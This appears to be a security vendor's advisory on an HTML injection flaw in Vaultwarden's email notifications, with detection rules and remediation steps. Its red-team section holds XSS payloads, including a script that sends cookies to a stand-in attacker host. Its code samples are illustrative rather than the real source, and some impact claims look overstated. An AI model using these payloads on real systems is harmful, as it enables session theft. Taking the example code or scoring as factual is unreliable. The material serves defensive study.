CVE-2024-55224

Executive Summary

CVE-2024-55224 is an HTML injection vulnerability in Vaultwarden, an open-source password manager. The flaw resides in the email notification system, specifically within the username field of email messages. An attacker can inject arbitrary HTML code into this field, which, when processed by the email client, can lead to arbitrary code execution. This vulnerability affects all versions prior to v1.32.5. The attack vector is network-based, requires low complexity, and no privileges, but does require user interaction (the victim must view the crafted email). The impact is high on confidentiality, integrity, and availability.

Supply Chain & Package Security

Vaultwarden is a Rust-based application distributed via Docker images and source code. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's core email handling logic. Users should verify the integrity of their Vaultwarden Docker images or source code before upgrading.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (Not officially assigned, but based on analysis: 8.8 High) Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - The victim must view the malicious email.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Full data access possible.
• Integrity (I): High (H) - Full data modification possible.
• Availability (A): High (H) - Full system disruption possible.

Threat Level: High. The vulnerability is easy to exploit and can lead to complete compromise of the Vaultwarden instance.

Deep Dive & Mechanics

The vulnerability exists in the email notification functionality of Vaultwarden. When a user registers or performs certain actions, the application sends an email containing the username. The username field is not properly sanitized before being inserted into the email body. An attacker can register with a username containing malicious HTML/JavaScript, such as:

<script>alert('XSS')</script>

When the Vaultwarden server sends the email, the malicious HTML is rendered by the victim's email client. This can lead to:

• Session Hijacking: Stealing session cookies.
• Credential Theft: Phishing for credentials.
• Arbitrary Code Execution: Executing JavaScript in the context of the email client.

The root cause is the lack of output encoding when constructing the email body. The application uses a template or string concatenation without escaping HTML entities.

Vulnerable vs. Patched Code

Vulnerable Code (prior to v1.32.5):

// Example vulnerable code
fn send_email(username: &str) {
    let body = format!("Welcome, {}!", username);
    // Send email with body
}

Patched Code (v1.32.5+):

// Example patched code using HTML escaping
fn send_email(username: &str) {
    let escaped_username = html_escape::encode_text(username);
    let body = format!("Welcome, {}!", escaped_username);
    // Send email with body
}

The patch introduces proper HTML escaping of the username before inserting it into the email body.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Vaultwarden instance (version < 1.32.5)
• Ability to register a new user
• An email client that renders HTML (e.g., Gmail, Outlook)

Exploit Steps:

1. Register a new user with a malicious username:

   <img src=x onerror=alert('XSS')>
   

2. Wait for the Vaultwarden server to send a notification email (e.g., welcome email).
3. The victim opens the email, and the JavaScript executes.

Advanced Payload:

<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

Blue Team

Detection:

• Monitor for usernames containing HTML tags or JavaScript.
• Check email logs for unusual content.
• Use email security gateways to scan for malicious HTML.

Prevention:

• Apply the patch immediately.
• Implement input validation on the username field.
• Use Content Security Policy (CSP) in email clients.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from email clients.
• Email: Emails containing HTML tags in the username field.
• Logs: Registration attempts with usernames containing <script>, <img>, or other HTML tags.
• File: Modified email templates or configuration files.

Detection Engineering

YARA Rule

rule CVE_2024_55224_HTML_Injection {
    meta:
        description = "Detects HTML injection attempts in Vaultwarden usernames"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-55224"
    strings:
        $html_tag = /<[a-zA-Z\/!].*?>/
        $script_tag = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['"].*?['"]/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-55224 - Vaultwarden HTML Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential HTML injection in Vaultwarden usernames
author: Valters IT
date: 2024/01/01
logsource:
    category: application
    product: vaultwarden
detection:
    selection:
        event: "user_registered"
        username|contains:
            - "<script"
            - "<img"
            - "onerror"
            - "onload"
    condition: selection
falsepositives:
    - Legitimate usernames with special characters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-55224 - Vaultwarden HTML Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/register"; http_uri; content:"username"; nocase; pcre:"/<[a-zA-Z\/!].*?>/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Vaultwarden to version 1.32.5 or later.
2. If upgrade is not possible, disable email notifications temporarily.
3. Implement input validation to reject usernames containing HTML tags.

Long-term Measures:

• Regularly update Vaultwarden.
• Use an email security gateway to filter malicious content.
• Educate users about phishing risks.

Workaround:

• Configure Vaultwarden to send plain-text emails only (if supported).

Valters IT
Securing Digital Frontiers